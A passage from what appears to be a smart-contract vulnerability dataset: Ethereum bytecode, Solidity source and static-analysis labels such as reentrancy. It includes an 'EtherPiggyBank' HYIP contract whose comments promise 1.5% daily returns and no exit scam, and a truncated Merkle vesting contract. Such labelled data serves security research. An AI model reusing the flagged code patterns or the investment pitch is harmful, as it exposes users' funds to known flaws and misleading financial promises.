38481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220338e6f3cd2200e2c6b61a7de8312abc2beeafff6df2fb28b257669153cca3d4a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,789
0x4f51f7c4c17dcc7d0babf3c9324d427eeab7214c
pragma solidity ^0.4.18; // // EtherPiggyBank // (etherpiggybank.com) // // <`--&#39;\>______ // /. . `&#39; \ // (`&#39;) , @ // `-._, / // )-)_/--( > // &#39;&#39;&#39;&#39; &#39;&#39;&#39;&#39; // // Invest Ethereum into a long term stable solution where // your investment can grow organically as the system expands. // You will gain +1.5% of your invested Ethereum every day that // you leave it in the Ether Piggy Bank! // You can withdraw your investments at any time but it will // incur a 20% withdrawal fee (~13 days of investing). // You can also invest your profits back into your account and // your gains will compound the more you do this! // // Big players can compete for the investment positions available, // every time someone makes a deposit into the Ether Piggy Bank, // they will receive a percentage of that sale in their // affiliate commision. // You can buy this position off anyone and double it&#39;s current // buying price but every 3-7 days (depending on the position), // the buying price will halve until it reaches 0.125 ether. // Upon buying, the previous investor gets 75% of the buying price, // the dev gets 5% and the rest goes into the contract to encourage // an all round balanced ecosystem! // // You will also receive a 5% bonus, which will appear in your // affiliate commission, by referring another player to the game // via your referral URL! It&#39;s a HYIP on a smart contract, fully // transparent and you&#39;ll never need to worry about an exit scam or // someone taking all the money and leaving! contract EtherPiggyBank { // investment tracking for each address mapping (address => uint256) public investedETH; mapping (address => uint256) public lastInvest; // for referrals and investor positions mapping (address => uint256) public affiliateCommision; uint256 REF_BONUS = 4; // 4% of the ether invested // goes into the ref address&#39; affiliate commision uint256 DEV_TAX = 1; // 1% of all ether invested // goes into the dev address&#39; affiliate commision uint256 BASE_PRICE = 0.125 ether; // 1/8 ether uint256 INHERITANCE_TAX = 75; // 75% will be returned to the // investor if their position is purchased, the rest will // go to the contract and the dev uint256 DEV_TRANSFER_TAX = 5; // this means that when purchased the sale will be distrubuted: // 75% to the old position owner // 5% to the dev // and 20% to the contract for all the other investors // ^ this will encourage a healthy ecosystem struct InvestorPosition { address investor; uint256 startingLevel; uint256 startingTime; uint256 halfLife; uint256 percentageCut; } InvestorPosition[] investorPositions; address public dev; // start up the contract! function EtherPiggyBank() public { // set the dev address dev = msg.sender; // make the gold level investor investorPositions.push(InvestorPosition({ investor: dev, startingLevel: 5, // 1/8 ether * 2^5 = 4 ether startingTime: now, halfLife: 7 days, // 7 days until the level decreases percentageCut: 5 // with 5% cut of all investments })); // make the silver level investor investorPositions.push(InvestorPosition({ investor: 0x6c0cf053076681cecbe31e5e19df8fb97deb5756, startingLevel: 4, // 1/8 ether * 2^4 = 2 ether startingTime: now, halfLife: 5 days, // 5 days until the level decreases percentageCut: 3 // with 3% cut of all investments })); // make the bronze level investor investorPositions.push(InvestorPosition({ investor: 0x66fe910c6a556173ea664a94f334d005ddc9ce9e, startingLevel: 3, // 1/8 ether * 2^3 = 1 ether startingTime: now, halfLife: 3 days, // 3 days until the level decreases percentageCut: 1 // with 1% cut of all investments })); } function investETH(address referral) public payable { require(msg.value >= 0.01 ether); if (getProfit(msg.sender) > 0) { uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } uint256 amount = msg.value; // handle all of our investor positions first bool flaggedRef = (referral == msg.sender || referral == dev); // ref cannot be the sender or the dev for(uint256 i = 0; i < investorPositions.length; i++) { InvestorPosition memory position = investorPositions[i]; // check that our ref isn&#39;t an investor too if (position.investor == referral) { flaggedRef = true; } // we cannot claim on our own investments if (position.investor != msg.sender) { uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100); affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision); } } // now for the referral (if we have one) if (!flaggedRef && referral != 0x0) { uint256 refBonus = SafeMath.div(SafeMath.mul(amount, REF_BONUS), 100); // 4% affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus); } // hand out the dev tax uint256 devTax = SafeMath.div(SafeMath.mul(amount, DEV_TAX), 100); // 1% affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], devTax); // now put it in your own piggy bank! investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount); lastInvest[msg.sender] = now; } function divestETH() public { uint256 profit = getProfit(msg.sender); // 20% fee on taking capital out uint256 capital = investedETH[msg.sender]; uint256 fee = SafeMath.div(capital, 5); capital = SafeMath.sub(capital, fee); uint256 total = SafeMath.add(capital, profit); require(total > 0); investedETH[msg.sender] = 0; lastInvest[msg.sender] = now; msg.sender.transfer(total); } function withdraw() public{ uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } function withdrawAffiliateCommision() public { require(affiliateCommision[msg.sender] > 0); uint256 commision = affiliateCommision[msg.sender]; affiliateCommision[msg.sender] = 0; msg.sender.transfer(commision); } function reinvestProfit() public { uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit); } function inheritInvestorPosition(uint256 index) public payable { require(investorPositions.length > index); require(msg.sender == tx.origin); InvestorPosition storage position = investorPositions[index]; uint256 currentLevel = getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife); uint256 currentPrice = getCurrentPrice(currentLevel); require(msg.value >= currentPrice); uint256 purchaseExcess = SafeMath.sub(msg.value, currentPrice); position.startingLevel = currentLevel + 1; position.startingTime = now; // now do the transfers uint256 inheritanceTax = SafeMath.div(SafeMath.mul(currentPrice, INHERITANCE_TAX), 100); // 75% position.investor.transfer(inheritanceTax); position.investor = msg.sender; // set the new investor address // now the dev transfer tax uint256 devTransferTax = SafeMath.div(SafeMath.mul(currentPrice, DEV_TRANSFER_TAX), 100); // 5% dev.transfer(devTransferTax); // and finally the excess msg.sender.transfer(purchaseExcess); // after this point there will be 20% of currentPrice left in the contract // this will be automatically go towards paying for profits and withdrawals } function getInvestorPosition(uint256 index) public view returns(address investor, uint256 currentPrice, uint256 halfLife, uint256 percentageCut) { InvestorPosition memory position = investorPositions[index]; return (position.investor, getCurrentPrice(getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife)), position.halfLife, position.percentageCut); } function getCurrentPrice(uint256 currentLevel) internal view returns(uint256) { return BASE_PRICE * 2**currentLevel; // ** is exponent, price doubles every level } function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) internal view returns(uint256) { uint256 timePassed = SafeMath.sub(now, startingTime); uint256 levelsPassed = SafeMath.div(timePassed, halfLife); if (startingLevel < levelsPassed) { return 0; } return SafeMath.sub(startingLevel,levelsPassed); } function getProfitFromSender() public view returns(uint256){ return getProfit(msg.sender); } function getProfit(address customer) public view returns(uint256){ uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]); return SafeMath.div(SafeMath.mul(secondsPassed, investedETH[customer]), 5760000); // = days * amount * 0.015 (+1.5% per day) } function getAffiliateCommision() public view returns(uint256){ return affiliateCommision[msg.sender]; } function getInvested() public view returns(uint256){ return investedETH[msg.sender]; } function getBalance() public view returns(uint256){ return this.balance; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631054d657146100eb57806312065fe0146101005780633ccfd60b1461012957806343c6e10d1461013e5780635c5f0265146101675780635f3619b1146101b45780636a4d4bb8146101dd5780637a99ba4f146102555780637be005101461028357806391cca3db146102d0578063befc3e2b14610325578063c600e1dc1461034e578063cc6d8ba61461039b578063d86479df146103b3578063e3b6113514610400578063f09dd7c614610415575b600080fd5b34156100f657600080fd5b6100fe61042a565b005b341561010b57600080fd5b61011361057e565b6040518082815260200191505060405180910390f35b341561013457600080fd5b61013c61059d565b005b341561014957600080fd5b610151610640565b6040518082815260200191505060405180910390f35b341561017257600080fd5b61019e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610687565b6040518082815260200191505060405180910390f35b34156101bf57600080fd5b6101c761069f565b6040518082815260200191505060405180910390f35b34156101e857600080fd5b6101fe60048080359060200190919050506106af565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b610281600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107a4565b005b341561028e57600080fd5b6102ba600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d77565b6040518082815260200191505060405180910390f35b34156102db57600080fd5b6102e3610d8f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561033057600080fd5b610338610db5565b6040518082815260200191505060405180910390f35b341561035957600080fd5b610385600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dfb565b6040518082815260200191505060405180910390f35b6103b16004808035906020019091905050610ea5565b005b34156103be57600080fd5b6103ea600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110f0565b6040518082815260200191505060405180910390f35b341561040b57600080fd5b610413611108565b005b341561042057600080fd5b6104286111f5565b005b60008060008061043933610dfb565b93506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925061048783600561130e565b91506104938383611329565b925061049f8385611342565b90506000811115156104b057600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561057857600080fd5b50505050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b60006105a833610dfb565b90506000811115156105b957600080fd5b42600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561063d57600080fd5b50565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60026020528060005260406000206000915090505481565b60006106aa33610dfb565b905090565b6000806000806106bd6113f0565b6008868154811015156106cc57fe5b906000526020600020906005020160a060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050806000015161078a610785836020015184604001518560600151611360565b6113a4565b826060015183608001519450945094509450509193509193565b6000806000806107b26113f0565b6000806000662386f26fc1000034101515156107cd57600080fd5b60006107d833610dfb565b111561086e576107e733610dfb565b975042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f19350505050151561086d57600080fd5b5b3496503373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614806108f85750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16145b9550600094505b600880549050851015610ae75760088581548110151561091b57fe5b906000526020600020906005020160a060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820154815260200160048201548152505093508873ffffffffffffffffffffffffffffffffffffffff16846000015173ffffffffffffffffffffffffffffffffffffffff1614156109f257600195505b3373ffffffffffffffffffffffffffffffffffffffff16846000015173ffffffffffffffffffffffffffffffffffffffff16141515610ada57610a43610a3c8886608001516113b5565b606461130e565b9250610a9260026000866000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611342565b60026000866000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84806001019550506108ff565b85158015610b0c575060008973ffffffffffffffffffffffffffffffffffffffff1614155b15610bb657610b27610b20886003546113b5565b606461130e565b9150610b72600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611342565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610bcc610bc5886004546113b5565b606461130e565b9050610c3960026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611342565b60026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce66000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205488611342565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050505050565b60016020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b600080610e4742600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611329565b9050610e9d610e94826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b5565b6257e40061130e565b915050919050565b60008060008060008086600880549050111515610ec157600080fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610efb57600080fd5b600887815481101515610f0a57fe5b90600052602060002090600502019550610f31866001015487600201548860030154611360565b9450610f3c856113a4565b9350833410151515610f4d57600080fd5b610f573485611329565b9250600185018660010181905550428660020181905550610f84610f7d856006546113b5565b606461130e565b91508560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610fea57600080fd5b338660000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061104361103c856007546113b5565b606461130e565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156110a757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156110e757600080fd5b50505050505050565b60006020528060005260406000206000915090505481565b600061111333610dfb565b905060008111151561112457600080fd5b42600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b06000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611342565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561124457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561130b57600080fd5b50565b600080828481151561131c57fe5b0490508091505092915050565b600082821115151561133757fe5b818303905092915050565b600080828401905083811015151561135657fe5b8091505092915050565b600080600061136f4286611329565b915061137b828561130e565b90508086101561138e576000925061139b565b6113988682611329565b92505b50509392505050565b60008160020a600554029050919050565b60008060008414156113ca57600091506113e9565b82840290508284828115156113db57fe5b041415156113e557fe5b8091505b5092915050565b60a060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600081526020016000815250905600a165627a7a723058203e6a11f24b629359d385e224da148555eff648e9c46ee0ecbf672ab7bf6666010029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,790
0xc132c7b178fba4861133d552483c7950830cb134
pragma solidity ^0.5.12; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } //TODO add safemath interface IDPR { function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool); function transfer(address _to, uint256 _amount) external returns(bool); function balanceOf(address _owner) external view returns(uint256); } contract MerkleClaim { using SafeMath for uint256; bytes32 public root; IDPR public dpr; //system info address public owner; uint256 public total_release_periods = 90; uint256 public start_time = 1631548800; //2021 年 09 月 14 日 00:00 // uer info mapping(address=>uint256) public total_lock_amount; mapping(address=>uint256) public release_per_period; mapping(address=>uint256) public user_released; mapping(bytes32=>bool) public claimMap; mapping(address=>bool) public userMap; //=====events======= event claim(address _addr, uint256 _amount); event distribute(address _addr, uint256 _amount); event OwnerTransfer(address _newOwner); //====modifiers==== modifier onlyOwner(){ require(owner == msg.sender); _; } constructor(bytes32 _root, address _token) public{ root = _root; dpr = IDPR(_token); owner = msg.sender; } function transferOwnerShip(address _newOwner) onlyOwner external { require(_newOwner != address(0), "MerkleClaim: Wrong owner"); owner = _newOwner; emit OwnerTransfer(_newOwner); } function setClaim(bytes32 node) private { claimMap[node] = true; } function distributeAndLock(address _addr, uint256 _amount, bytes32[] memory proof) public{ require(!userMap[_addr], "MerkleClaim: Account is already claimed"); bytes32 node = keccak256(abi.encodePacked(_addr, _amount)); require(!claimMap[node], "MerkleClaim: Account is already claimed"); require(MerkleProof.verify(proof, root, node), "MerkleClaim: Verify failed"); //update status setClaim(node); uint256 half_amount = _amount.div(2); dpr.transfer(_addr, half_amount); lockTokens(_addr, _amount.sub(half_amount)); userMap[_addr] = true; emit distribute(_addr, _amount); } function lockTokens(address _addr, uint256 _amount) private{ total_lock_amount[_addr] = _amount; release_per_period[_addr] = _amount.div(total_release_periods); } function claimTokens() external { require(total_lock_amount[msg.sender] != 0, "User does not have lock record"); require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed"); uint256 periods = block.timestamp.sub(start_time).div(1 days); uint256 total_release_amount = release_per_period[msg.sender].mul(periods); if(total_release_amount >= total_lock_amount[msg.sender]){ total_release_amount = total_lock_amount[msg.sender]; } uint256 release_amount = total_release_amount.sub(user_released[msg.sender]); // update user info user_released[msg.sender] = total_release_amount; require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough"); require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed"); emit claim(msg.sender, release_amount); } function unreleased() external view returns(uint256){ return total_lock_amount[msg.sender].sub(user_released[msg.sender]); } function withdraw(address _to) external onlyOwner{ require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer 